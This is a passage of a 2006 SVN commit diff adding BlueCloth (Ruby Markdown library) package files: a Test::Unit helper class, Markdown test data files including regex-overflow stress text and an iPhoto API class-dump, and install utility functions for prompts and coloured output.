+				self.send( sblock )
+			}
+			super( *args )
+		end
+		alias_method :set_up, :setup
+
+
+		### Forward-compatibility method for namechange in Test::Unit
+		def teardown( *args )
+			super( *args )
+			self.class.teardownBlocks.each {|tblock|
+				debugMsg "Calling teardown block method #{tblock}"
+				self.send( tblock )
+			}
+		end
+		alias_method :tear_down, :teardown
+
+
+		### Skip the current step (called from #setup) with the +reason+ given.
+        def skip( reason=nil )
+			if reason
+				msg = "Skipping %s: %s" % [ @method_name, reason ]
+			else
+				msg = "Skipping %s: No reason given." % @method_name
+			end
+			
+			$stderr.puts( msg ) if $VERBOSE
+			@method_name = :skipped_test
+        end
+		
+		
+        def skipped_test # :nodoc:
+        end     
+		
+        
+        ### Add the specified +block+ to the code that gets executed by #setup.
+        def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end
+        
+		
+        ### Add the specified +block+ to the code that gets executed by #teardown.
+        def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end
+        
+        
+		### Instance alias for the like-named class method.
+		def message( *msgs )
+			self.class.message( *msgs )
+		end
+
+
+		### Instance alias for the like-named class method
+		def debugMsg( *msgs )
+			self.class.debugMsg( *msgs )
+		end
+
+
+		### Output a separator line made up of <tt>length</tt> of the specified
+		### <tt>char</tt>.
+		def writeLine( length=75, char="-" )
+			$stderr.puts "\r" + (char * length )
+		end
+
+
+		### Output a header for delimiting tests
+		def printTestHeader( desc )
+			return unless $VERBOSE || $DEBUG
+			message ">>> %s <<<" % desc
+		end
+
+
+		### Try to force garbage collection to start.
+		def collectGarbage
+			a = []
+			1000.times { a << {} }
+			a = nil
+			GC.start
+		end
+
+
+		### Output the name of the test as it's running if in verbose mode.
+		def run( result )
+			$stderr.puts self.name if $VERBOSE || $DEBUG
+
+			# Support debugging for individual tests
+			olddb = nil
+			if $DebugPattern && $DebugPattern =~ @method_name
+				olddb = $DEBUG
+				$DEBUG = true
+			end
+			
+			super
+
+			$DEBUG = olddb unless olddb.nil?
+		end
+
+
+		#############################################################
+		###	E X T R A   A S S E R T I O N S
+		#############################################################
+
+		### Negative of assert_respond_to
+		def assert_not_respond_to( obj, meth )
+			msg = "%s expected NOT to respond to '%s'" %
+				[ obj.inspect, meth ]
+			assert_block( msg ) {
+				!obj.respond_to?( meth )
+			}
+		end
+
+
+		### Assert that the instance variable specified by +sym+ of an +object+
+		### is equal to the specified +value+. The '@' at the beginning of the
+		### +sym+ will be prepended if not present.
+		def assert_ivar_equal( value, object, sym )
+			sym = "@#{sym}".intern unless /^@/ =~ sym.to_s
+			msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" %
+				[ sym, object.inspect, value.inspect ]
+			msg += "\tbut was: <%s>" % object.instance_variable_get(sym)
+			assert_block( msg ) {
+				value == object.instance_variable_get(sym)
+			}
+		end
+
+
+		### Assert that the specified +object+ has an instance variable which
+		### matches the specified +sym+. The '@' at the beginning of the +sym+
+		### will be prepended if not present.
+		def assert_has_ivar( sym, object )
+			sym = "@#{sym}" unless /^@/ =~ sym.to_s
+			msg = "Object <%s> expected to have an instance variable <%s>" %
+				[ object.inspect, sym ]
+			assert_block( msg ) {
+				object.instance_variables.include?( sym.to_s )
+			}
+		end
+
+	end # class TestCase
+
+end # class BlueCloth
+

Added: packages/libbluecloth-ruby/trunk/tests/data/antsugar.txt
===================================================================
--- packages/libbluecloth-ruby/trunk/tests/data/antsugar.txt	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/tests/data/antsugar.txt	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,34 @@
+The Ant-Sugar Tales
+===================
+
+By Candice Yellowflower  
+
+The _Ant-Sugar Tales_ is a collection of short stories told from the
+perspective of a fine young lady from [Venice][1], who has some run-ins
+with a few [inquisitive insects][2]. Each tale presents a moral quandry,
+which the ants are quick to solve with their antly wisdom and
+know-how. Some of the moral lessons presented are:
+
+* Laundry: How not to get caught in soiled knickers.
+* Used Ticket Stubs and Their Impact on the Universe
+* I'm Keeping a Birdhouse in my Attic
+
+Use of Metaphor
+---------------
+
+The author's splended use of metaphor can be attributed to her growing
+up in a art-supply store. Her characters are richly outlined, but her
+unusual descriptions can sometimes be a bit jarring in places, such as
+her description of the old caretaker that lives inside a hollow tree in
+her yard:
+
+> His skin was smooth like Magnani Pescia 100% acid-free cold pressed
+> 22x30" Soft White Paper, with fine hair like the bristles of a Habico
+> Lasur Superb Oil Glazing Brush Size 10.
+
+
+  [1]: http://www.azureva.com/gb/italie/mags/grand-canal.php3
+  	   (Venice: The Grand Canal)
+  [2]: http://www.fortunecity.com/emachines/e11/86/tourist4d.html
+
+

Added: packages/libbluecloth-ruby/trunk/tests/data/ml-announce.txt
===================================================================
--- packages/libbluecloth-ruby/trunk/tests/data/ml-announce.txt	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/tests/data/ml-announce.txt	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,17 @@
+Hi,
+
+I'd like to announce the alpha release of a Markdown library for [Ruby][1]
+called "BlueCloth". It's mostly a direct port of the most recent Perl version,
+minus the various plugin hooks and whatnot.
+
+More information can be found on [the project page][2], or feel free to ask me
+directly. I don't have much in the way of a demo yet, but will be working on
+getting something set up in the coming days.
+
+  [1]: http://www.ruby-lang.org/
+  [2]: http://bluecloth.rubyforge.org/
+
+--
+Michael Granger <ged at FaerieMUD.org>  
+Rubymage, Believer, Architect  
+The FaerieMUD Consortium <http://www.FaerieMUD.org/>  

Added: packages/libbluecloth-ruby/trunk/tests/data/re-overflow.txt
===================================================================
--- packages/libbluecloth-ruby/trunk/tests/data/re-overflow.txt	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/tests/data/re-overflow.txt	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,67 @@
+*  xx xxxxxxx xx xxxxxx.
+
+*  xxx xxxxxxx xxxx xx xxxxxxxxxxx xx:
+
+  *  xxxxxxx xxxxxxx: xxxxx xxxx xxxx xxxxxxx xxxxxxx xxxxxxxx xxxxxx xx
+     xxxxxxx xxx xxxxxxxxx, xxx x xxxxx xxxxx xxx xxxxxxxx xx xxx xxxxxx xxxx
+     xxx xx xxxxxxxxx xx xxxx.
+
+     xxxxx xxxxxxx xx xxx xxxx xx xx xxxxxxxxx, xxx xxxx xxxxxx xx xxxxxxx xxxx
+     xxx xxxxxxx'x xxxxxx xxx. xx xxxxxxxx xxxxxxxxxxxxx xxxxxxxx.
+
+  *  xxxxxxxxx xxxxxxx: xxxxx xxxx xxx xxxxx xx xxxxx xxx xxxxxxxx xxxxxxxxx
+     xx xxx xxxxxxxx, xxx xxxxx xxxxx xxxx xxxx xxxxx xxxxxxxxxxxx xx xxx
+     xxxxxxxxxxx xxxx xxx xx xxxxxxxxx xx xxxx.
+
+     xxxxx xxxxxxx xxx xx xxxxxxxxx xxxxxx xxx-xxxx xxxxx (xx xx xxxxxxxxxx)
+     xx, xx xxxxxxxxx xxxxxxxx xxxxxxx xx xxxxxxxx xx xxxxxx xxx xxxxxxx
+     xxxxxxx xx xxx xxxxxxx, xxxxxx xxx xxxx xxx.
+
+     xxxxx xxxxxxxxxx xxx xxxx xxxx xx xxxxxxxxx xxx xx xxxxx xxx xxxxx xxxxx
+     xxx xxxx xxx xxxx xxxxxxxxx. xxxxxxxx xxxxxxxxxxxxx xxx xxxx-xxxxxxxxx,
+     xxxx xx xxxxxx xxx xxxx.
+
+  *  xxxxx xxxxxxx: xxxxx xxxx xxxxxx xxxx xxxxxxx xx xxxxxxx x xxxxxxxxxxx
+     xxxxxx, xxxxxxx xx xxxxxxx xxxxxxxxxxxx. xxxxx xxxxxxx xxxx xx xxxxxxxxx
+     xxxxxx xxx-xxxx xxxxx.
+
+     xxxxxx xxxxxxxxx xxx x xxxx xxxxxxxxx, xxxx xx x-xxxx.
+
+*  xxxx xxx x xxxxxx xxxxxxx xxxx: xxxxx xxxxxxx xxxx xx xxxxxxxx, xxx xxxxxxx
+   xxx xxx xxxxxx, xxx xxxxx, xxx xxxxxxxxx xxx xxxxxxx xxxx xxx xxxxxxx
+   xxxxxxxx xxxx, xxx xxxx-xxx xxxx, xxx xxxxxxxx xx xxx xxxx, xxx xxx xxxxxxxx
+   xx xxx xxxxxxxxx xxxx-xxx.
+
+*  xxx xxxxxxxxxxxx xxxxxxxxxxx (x.x.x. xxx xxxxxxxx xx xxxxxxx xxxxxxxx, xx
+   xxxxxxxx xxxxxx, xxx.), xxx xxxxxxx xxxxxxxxxxx xx x xxxxxx xxxxxxx xxxx
+   xxxx xx xxxxxxxxx: x xxxx-xxxxxx xx xxxx-xxxxx xxxxxxxx xx xxx xxxxxxxxxx.
+
+*  xxx xxx xxxx xxxxxxx xxx, xx xxxxx xxxxxx xx xxxx xx xxx xxxxxxx'x xxxxxx
+   xxx. xxxxxxxx xxxxxxx xxxxxx xx xxxx xxx xxxxxxx xxxxxxx.
+   
+   x xxxxxx xxx xxx xxxxxxx xxxx xx xxxx xx xxxxxxxx. xxxxx xxxxxxxxxxxxx
+   xxxxxx xx x xxxxxx xxxx xx xxxxxxx xxxx xxxx xxxxxx'x xxxxxx xxx xxx xxxx
+   xxxxxxx xxx xxxxxxxxx xxxxxxxxxxx:
+
+  *  xxxxxxxxx xx xxxxxx xxxxxxx xxxxxx xxxx xxxxxx (xx xxxxx xxxxxx xx xx
+     xxxxxxxxxx).
+
+  *  xxxxxxxxxxx xx xxxx xxxxxxx xxx.
+
+  *  xxxx xx xxxxx xxxxxxx xx xxx xxxxxx.
+
+  *  xxxx xxx xxxx xx xxxxxx xx xxxx-xx-xx xx:xx xxx (xx xxx) xxxxxx.
+
+  *  xxxx xxx xxxxxxxx xx xxxxxxxxxxx xx xxxxxx.
+
+* xxxxxx xx xxxxxxx xxxx xx xxxxxxxx xxxxxxx xxx xxxx xxxx xx xxxxxx
+  xxxxx-xxxxxxxxxxxx xxxxxx xxxxxxxxxx xxxxxxx. xxxxxxxx xxxxxxx xxx xx
+  xxxxxxxx xx xxxxxxxxxxx xx xxxx xxxx.
+
+* xx x xxxxx xxxx:
+
+  * xxxx xxxxxxx xxxxxx xxxx x xxxxx-xxx xxx xxxxxx xxxxxxx, xxxxxxxx xxxxxxx,
+    xxx xxxxxxxx xxxxx xxxxxxx xxxx xxxxxxxx xxxxxxx, xx xxx xxx. xxxxxxx,
+    xxxx xxxxxx xxx xxxx xx xxx xxxxxxx xx xxx xxxxxx xx xxx xxxxxxx xxxxxx
+    -- xxxxx xxx, xx xxxxx xxxxxx xxxxx xx xxxxx xxx xxxx xxxxxxxx -- xxx xxxx
+    xxxxx xxx xxx xxxxxxxx xx xxxxxxxxx xxxxxx-xxxxxxxx xxxxxxxx.

Added: packages/libbluecloth-ruby/trunk/tests/data/re-overflow2.txt
===================================================================
--- packages/libbluecloth-ruby/trunk/tests/data/re-overflow2.txt	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/tests/data/re-overflow2.txt	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,281 @@
+<strong>iFotobilder</strong> will be an iPhoto export plugin that will let you manage your Fotobilder pictures through iPhoto.
+
+## Getting Started
+
+Since iPhoto's APIs aren't public, and because my Objective C is extremely rusty, I wanted a couple of examples of other people's plugins before I dove into this.
+
+Here's what I found:
+
+* [Writing Plugins for Cocoa][1]
+
+[1]: http://www.stone.com/The_Cocoa_Files/Writing_PlugIns.html
+
+## The iPhoto Export API
+
+Using the `class-dump` tool, I dumped the export API: 
+
+	/*
+	 *     Generated by class-dump 3.0.
+	 *
+	 *     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004 by Steve Nygard.
+	 */
+	
+	/*
+	 * File: /Applications/iPhoto.app/Contents/MacOS/iPhoto
+	 */
+	
+	@protocol ExportImageProtocol
+	- (unsigned int)imageCount;
+	- (BOOL)imageIsPortraitAtIndex:(unsigned int)fp20;
+	- (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16;
+	- (unsigned int)imageFormatAtIndex:(unsigned int)fp16;
+	- (id)imageCaptionAtIndex:(unsigned int)fp16;
+	- (id)imagePathAtIndex:(unsigned int)fp16;
+	- (id)thumbnailPathAtIndex:(unsigned int)fp16;
+	- (id)imageDictionaryAtIndex:(unsigned int)fp16;
+	- (float)imageAspectRatioAtIndex:(unsigned int)fp16;
+	- (id)albumName;
+	- (id)albumMusicPath;
+	- (unsigned int)albumCount;
+	- (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp16;
+	- (id)window;
+	- (void)enableControls;
+	- (void)disableControls;
+	- (void)clickExport;
+	- (void)startExport;
+	- (void)cancelExport;
+	- (void)cancelExportBeforeBeginning;
+	- (id)directoryPath;
+	- (id)temporaryDirectory;
+	- (BOOL)doesFileExist:(id)fp16;
+	- (BOOL)doesDirectoryExist:(id)fp16;
+	- (BOOL)createDir:(id)fp16;
+	- (id)uniqueSubPath:(id)fp12 child:(id)fp20;
+	- (id)makeUniquePath:(id)fp16;
+	- (id)makeUniqueFilePath:(id)fp12 extension:(id)fp20;
+	- (id)makeUniqueFileNameWithTime:(id)fp16;
+	- (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp20;
+	- (id)pathForFSSpec:(id)fp16;
+	- (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp27;
+	- (id)pathForFSRef:(struct FSRef *)fp16;
+	- (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp23;
+	- (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp23;
+	- (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp27;
+	- (BOOL)isAliasFileAtPath:(id)fp16;
+	- (id)pathContentOfAliasAtPath:(id)fp16;
+	- (id)stringByResolvingAliasesInPath:(id)fp16;
+	- (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp20;
+	- (id)validFilename:(id)fp16;
+	- (id)getExtensionForImageFormat:(unsigned int)fp16;
+	- (unsigned int)getImageFormatForExtension:(id)fp16;
+	- (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp32;
+	- (void *)createThumbnailer;
+	- (void *)retainThumbnailer:(void *)fp16;
+	- (void *)autoreleaseThumbnailer:(void *)fp16;
+	- (void)releaseThumbnailer:(void *)fp16;
+	- (void)setThumbnailer:(void *)fp16 maxBytes:(unsigned int)fp20 maxWidth:(unsigned int)fp24 maxHeight:(unsigned int)fp32;
+	- (struct _NSSize)thumbnailerMaxBounds:(void *)fp16;
+	- (void)setThumbnailer:(void *)fp12 quality:(int)fp20;
+	- (int)thumbnailerQuality:(void *)fp16;
+	- (void)setThumbnailer:(void *)fp12 rotation:(float)fp20;
+	- (float)thumbnailerRotation:(void *)fp16;
+	- (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp20;
+	- (unsigned int)thumbnailerOutputFormat:(void *)fp16;
+	- (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp20;
+	- (id)thumbnailerOutputExtension:(void *)fp16;
+	- (BOOL)thumbnailer:(void *)fp16 createThumbnail:(id)fp20 dest:(id)fp28;
+	- (struct _NSSize)lastImageSize:(void *)fp20;
+	- (struct _NSSize)lastThumbnailSize:(void *)fp16;
+	@end
+	
+	@protocol ExportPluginBoxProtocol
+	- (BOOL)performKeyEquivalent:(id)fp16;
+	@end
+	
+	@protocol ExportPluginProtocol
+	- (id)initWithExportImageObj:(id)fp16;
+	- (id)settingsView;
+	- (id)firstView;
+	- (id)lastView;
+	- (void)viewWillBeActivated;
+	- (void)viewWillBeDeactivated;
+	- (id)requiredFileType;
+	- (BOOL)wantsDestinationPrompt;
+	- (id)getDestinationPath;
+	- (id)defaultFileName;
+	- (id)defaultDirectory;
+	- (BOOL)treatSingleSelectionDifferently;
+	- (BOOL)validateUserCreatedPath:(id)fp16;
+	- (void)clickExport;
+	- (void)startExport:(id)fp16;
+	- (void)performExport:(id)fp16;
+	- (CDAnonymousStruct12 *)progress;
+	- (void)lockProgress;
+	- (void)unlockProgress;
+	- (void)cancelExport;
+	- (id)name;
+	- (id)description;
+	@end
+	
+	@interface ExportController : NSObject
+	{
+	    id mWindow;
+	    id mExportView;
+	    id mExportButton;
+	    id mImageCount;
+	    ExportMgr *mExportMgr;
+	    ExportMgrRec *mCurrentPluginRec;
+	    ProgressController *mProgressController;
+	    BOOL mCancelExport;
+	    NSTimer *mTimer;
+	    NSString *mDirectoryPath;
+	}
+	
+	- (void)awakeFromNib;
+	- (void)dealloc;
+	- (id)currentPlugin;
+	- (id)currentPluginRec;
+	- (void)setCurrentPluginRec:(id)fp12;
+	- (id)directoryPath;
+	- (void)setDirectoryPath:(id)fp12;
+	- (void)show;
+	- (void)_openPanelDidEnd:(id)fp12 returnCode:(int)fp16 contextInfo:(void *)fp20;
+	- (id)panel:(id)fp12 userEnteredFilename:(id)fp16 confirmed:(BOOL)fp20;
+	- (BOOL)panel:(id)fp12 shouldShowFilename:(id)fp16;
+	- (BOOL)panel:(id)fp12 isValidFilename:(id)fp16;
+	- (BOOL)filesWillFitOnDisk;
+	- (void)export:(id)fp12;
+	- (void)_exportThread:(id)fp12;
+	- (void)_exportProgress:(id)fp12;
+	- (void)startExport:(id)fp12;
+	- (void)finishExport;
+	- (void)cancelExport;
+	- (void)cancel:(id)fp12;
+	- (void)enableControls;
+	- (id)window;
+	- (void)disableControls;
+	- (void)tabView:(id)fp12 willSelectTabViewItem:(id)fp16;
+	- (void)tabView:(id)fp12 didSelectTabViewItem:(id)fp16;
+	- (void)selectExporter:(id)fp12;
+	- (id)exportView;
+	- (BOOL)_hasPlugins;
+	- (void)_resizeExporterToFitView:(id)fp12;
+	- (void)_updateImageCount;
+	
+	@end
+	
+	@interface ExportMgr : NSObject <ExportImageProtocol>
+	{
+	    ArchiveDocument *mDocument;
+	    NSMutableArray *mExporters;
+	    Album *mExportAlbum;
+	    NSArray *mSelection;
+	    ExportController *mExportController;
+	}
+	
+	+ (id)exportMgr;
+	+ (id)exportMgrNoAlloc;
+	- (id)init;
+	- (void)dealloc;
+	- (void)releasePlugins;
+	- (void)setExportController:(id)fp12;
+	- (id)exportController;
+	- (void)setDocument:(id)fp12;
+	- (id)document;
+	- (void)updateDocumentSelection;
+	- (unsigned int)count;
+	- (id)recAtIndex:(unsigned int)fp12;
+	- (void)scanForExporters;
+	- (unsigned int)imageCount;
+	- (BOOL)imageIsPortraitAtIndex:(unsigned int)fp12;
+	- (id)imagePathAtIndex:(unsigned int)fp12;
+	- (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16;
+	- (unsigned int)imageFormatAtIndex:(unsigned int)fp12;
+	- (id)imageCaptionAtIndex:(unsigned int)fp12;
+	- (id)thumbnailPathAtIndex:(unsigned int)fp12;
+	- (id)imageDictionaryAtIndex:(unsigned int)fp12;
+	- (float)imageAspectRatioAtIndex:(unsigned int)fp12;
+	- (id)albumName;
+	- (id)albumMusicPath;
+	- (unsigned int)albumCount;
+	- (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp12;
+	- (id)imageRecAtIndex:(unsigned int)fp12;
+	- (id)currentAlbum;
+	- (void)enableControls;
+	- (void)disableControls;
+	- (id)window;
+	- (void)clickExport;
+	- (void)startExport;
+	- (void)cancelExport;
+	- (void)cancelExportBeforeBeginning;
+	- (id)directoryPath;
+	- (void)_copySelection:(id)fp12;
+	- (id)temporaryDirectory;
+	- (BOOL)doesFileExist:(id)fp12;
+	- (BOOL)doesDirectoryExist:(id)fp12;
+	- (BOOL)createDir:(id)fp12;
+	- (id)uniqueSubPath:(id)fp12 child:(id)fp16;
+	- (id)makeUniquePath:(id)fp12;
+	- (id)makeUniqueFilePath:(id)fp12 extension:(id)fp16;
+	- (id)makeUniqueFileNameWithTime:(id)fp12;
+	- (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp16;
+	- (id)pathForFSSpec:(id)fp12;
+	- (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp20;
+	- (id)pathForFSRef:(struct FSRef *)fp12;
+	- (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp16;
+	- (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp16;
+	- (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp20;
+	- (BOOL)isAliasFileAtPath:(id)fp12;
+	- (id)pathContentOfAliasAtPath:(id)fp12;
+	- (id)stringByResolvingAliasesInPath:(id)fp12;
+	- (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp16;
+	- (id)validFilename:(id)fp12;
+	- (id)getExtensionForImageFormat:(unsigned int)fp12;
+	- (unsigned int)getImageFormatForExtension:(id)fp12;
+	- (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp36;
+	- (void *)createThumbnailer;
+	- (void *)retainThumbnailer:(void *)fp12;
+	- (void *)autoreleaseThumbnailer:(void *)fp12;
+	- (void)releaseThumbnailer:(void *)fp12;
+	- (void)setThumbnailer:(void *)fp12 maxBytes:(unsigned int)fp16 maxWidth:(unsigned int)fp20 maxHeight:(unsigned int)fp24;
+	- (struct _NSSize)thumbnailerMaxBounds:(void *)fp16;
+	- (void)setThumbnailer:(void *)fp12 quality:(int)fp16;
+	- (int)thumbnailerQuality:(void *)fp12;
+	- (void)setThumbnailer:(void *)fp12 rotation:(float)fp36;
+	- (float)thumbnailerRotation:(void *)fp12;
+	- (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp16;
+	- (unsigned int)thumbnailerOutputFormat:(void *)fp12;
+	- (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp16;
+	- (id)thumbnailerOutputExtension:(void *)fp12;
+	- (BOOL)thumbnailer:(void *)fp12 createThumbnail:(id)fp16 dest:(id)fp20;
+	- (struct _NSSize)lastImageSize:(void *)fp16;
+	- (struct _NSSize)lastThumbnailSize:(void *)fp16;
+	
+	@end
+	
+	@interface ExportMgrRec : NSObject
+	{
+	    NSString *mPath;
+	    NSBundle *mBundle;
+	    id mPlugin;
+	    struct _NSSize mViewSize;
+	}
+	
+	- (void)dealloc;
+	- (BOOL)isEqual:(id)fp12;
+	- (id)description;
+	- (id)initWithPath:(id)fp12;
+	- (id)path;
+	- (id)bundle;
+	- (id)bundleInfo;
+	- (BOOL)isValidExportPlugin;
+	- (BOOL)loadPlugin;
+	- (id)exportPlugin;
+	- (void)unloadPlugin;
+	- (id)view;
+	- (struct _NSSize)viewSize;
+	- (void)setPath:(id)fp12;
+	- (void)setBundle:(id)fp12;
+	
+	@end
+

Added: packages/libbluecloth-ruby/trunk/utils.rb
===================================================================
--- packages/libbluecloth-ruby/trunk/utils.rb	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/utils.rb	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,553 @@
+#
+#	Install/distribution utility functions
+#	$Id: utils.rb,v 1.5 2004/01/18 19:15:18 deveiant Exp $
+#
+#	Copyright (c) 2001-2004, The FaerieMUD Consortium.
+#
+#	This is free software. You may use, modify, and/or redistribute this
+#	software under the terms of the Perl Artistic License. (See
+#	http://language.perl.com/misc/Artistic.html)
+#
+
+
+BEGIN {
+	require 'find'
+
+	begin
+		require 'readline'
+		include Readline
+	rescue LoadError => e
+		$stderr.puts "Faking readline..."
+		def readline( prompt )
+			$stderr.print prompt.chomp
+			return $stdin.gets.chomp
+		end
+	end
+}
+
+class File
+    Win32Exts = %w{.exe .com .bat}
+
+    def self::which( prog, path=ENV['PATH'] )
+        path.split(File::PATH_SEPARATOR).each {|dir|
+            # If running under Windows, look for prog + extensions
+            if File::ALT_SEPARATOR
+                ext = Win32Exts.find_all {|ext|
+                    f = File::join(dir, prog+ext)
+                    File::executable?(f) && !File::directory?(f)
+                }
+                ext.each {|f|
+                    f = File::join( dir, prog + f ).gsub(%r:/:,'\\')
+                    if block_given? then yield( f ) else return f end
+                }
+            else
+                f = File::join( dir, prog )
+                if File::executable?( f ) && ! File::directory?( f )
+                    if block_given? then yield(f) else return f end
+                end
+            end
+        }
+    end
+
+end
+
+
+module UtilityFunctions
+
+	# The list of regexen that eliminate files from the MANIFEST
+	ANTIMANIFEST = [
+		/makedist\.rb/,
+		/\bCVS\b/,
+		/~$/,
+		/^#/,
+		%r{docs/html},
+		%r{docs/man},
+		/\bTEMPLATE\.\w+\.tpl\b/,
+		/\.cvsignore/,
+		/\.s?o$/,
+	]
+	AMRegexp = Regexp::union( *ANTIMANIFEST )
+
+	# Set some ANSI escape code constants (Shamelessly stolen from Perl's
+	# Term::ANSIColor by Russ Allbery <rra at stanford.edu> and Zenin <zenin at best.com>
+	AnsiAttributes = {
+		'clear'      => 0,
+		'reset'      => 0,
+		'bold'       => 1,
+		'dark'       => 2,
+		'underline'  => 4,
+		'underscore' => 4,
+		'blink'      => 5,
+		'reverse'    => 7,
+		'concealed'  => 8,
+
+		'black'      => 30,   'on_black'   => 40, 
+		'red'        => 31,   'on_red'     => 41, 
+		'green'      => 32,   'on_green'   => 42, 
+		'yellow'     => 33,   'on_yellow'  => 43, 
+		'blue'       => 34,   'on_blue'    => 44, 
+		'magenta'    => 35,   'on_magenta' => 45, 
+		'cyan'       => 36,   'on_cyan'    => 46, 
+		'white'      => 37,   'on_white'   => 47
+	}
+
+	ErasePreviousLine = "\033[A\033[K"
+
+
+	###############
+	module_function
+	###############
+
+	# Create a string that contains the ANSI codes specified and return it
+	def ansiCode( *attributes )
+		return '' unless /(?:vt10[03]|xterm(?:-color)?|linux)/i =~ ENV['TERM']
+		attr = attributes.collect {|a| AnsiAttributes[a] ? AnsiAttributes[a] : nil}.compact.join(';')
+		if attr.empty? 
+			return ''
+		else
+			return "\e[%sm" % attr
+		end
+	end
+
+
+	# Test for the presence of the specified <tt>library</tt>, and output a
+	# message describing the test using <tt>nicename</tt>. If <tt>nicename</tt>
+	# is <tt>nil</tt>, the value in <tt>library</tt> is used to build a default.
+	def testForLibrary( library, nicename=nil )
+		nicename ||= library
+		message( "Testing for the #{nicename} library..." )
+		found = false
+
+		begin
+			require library
+		rescue LoadError => err
+			message "no found (%s)\n" % err.message
+		else
+			message "found\n"
+			found = true
+		end
+
+		return found
+	end
+
+
+	# Test for the presence of the specified <tt>library</tt>, and output a
+	# message describing the problem using <tt>nicename</tt>. If
+	# <tt>nicename</tt> is <tt>nil</tt>, the value in <tt>library</tt> is used
+	# to build a default. If <tt>raaUrl</tt> and/or <tt>downloadUrl</tt> are
+	# specified, they are also use to build a message describing how to find the
+	# required library. If <tt>fatal</tt> is <tt>true</tt>, a missing library
+	# will cause the program to abort.
+	def testForRequiredLibrary( library, nicename=nil, raaUrl=nil, downloadUrl=nil, fatal=true )
+		nicename ||= library
+		unless testForLibrary( library, nicename )
+			msgs = [ "You are missing the required #{nicename} library.\n" ]
+			msgs << "RAA: #{raaUrl}\n" if raaUrl
+			msgs << "Download: #{downloadUrl}\n" if downloadUrl
+			if fatal
+				abort msgs.join('')
+			else
+				errorMessage msgs.join('')
+			end
+		end
+		return true
+	end
+
+	### Output <tt>msg</tt> as a ANSI-colored program/section header (white on
+	### blue).
+	def header( msg )
+		msg.chomp!
+		$stderr.puts ansiCode( 'bold', 'white', 'on_blue' ) + msg + ansiCode( 'reset' )
+		$stderr.flush
+	end
+
+	### Output <tt>msg</tt> to STDERR and flush it.
+	def message( msg )
+		$stderr.print ansiCode( 'cyan' ) + msg + ansiCode( 'reset' )
+		$stderr.flush
+	end
+
+	### Output the specified <tt>msg</tt> as an ANSI-colored error message
+	### (white on red).
+	def errorMessage( msg )
+		message ansiCode( 'bold', 'white', 'on_red' ) + msg + ansiCode( 'reset' )
+	end
+
+	### Output the specified <tt>msg</tt> as an ANSI-colored debugging message
+	### (yellow on blue).
+	def debugMsg( msg )
+		return unless $DEBUG
+		msg.chomp!
+		$stderr.puts ansiCode( 'bold', 'yellow', 'on_blue' ) + ">>> #{msg}" + ansiCode( 'reset' )
+		$stderr.flush
+	end
+
+	### Erase the previous line (if supported by your terminal) and output the
+	### specified <tt>msg</tt> instead.
+	def replaceMessage( msg )
+		print ErasePreviousLine
+		message( msg )
+	end
+
+	### Output a divider made up of <tt>length</tt> hyphen characters.
+	def divider( length=75 )
+		puts "\r" + ("-" * length )
+	end
+	alias :writeLine :divider
+
+	### Output the specified <tt>msg</tt> colored in ANSI red and exit with a
+	### status of 1.
+	def abort( msg )
+		print ansiCode( 'bold', 'red' ) + "Aborted: " + msg.chomp + ansiCode( 'reset' ) + "\n\n"
+		Kernel.exit!( 1 )
+	end
+
+	### Output the specified <tt>promptString</tt> as a prompt (in green) and
+	### return the user's input with leading and trailing spaces removed.
+	def prompt( promptString )
+		promptString.chomp!
+		return readline( ansiCode('bold', 'green') + "#{promptString}: " + ansiCode('reset') ).strip
+	end
+
+	### Prompt the user with the given <tt>promptString</tt> via #prompt,
+	### substituting the given <tt>default</tt> if the user doesn't input
+	### anything.
+	def promptWithDefault( promptString, default )
+		response = prompt( "%s [%s]" % [ promptString, default ] )
+		if response.empty?
+			return default
+		else
+			return response
+		end
+	end
+
+	### Search for the program specified by the given <tt>progname</tt> in the
+	### user's <tt>PATH</tt>, and return the full path to it, or <tt>nil</tt> if
+	### no such program is in the path.
+	def findProgram( progname )
+		ENV['PATH'].split(File::PATH_SEPARATOR).each {|d|
+			file = File.join( d, progname )
+			return file if File.executable?( file )
+		}
+		return nil
+	end
+
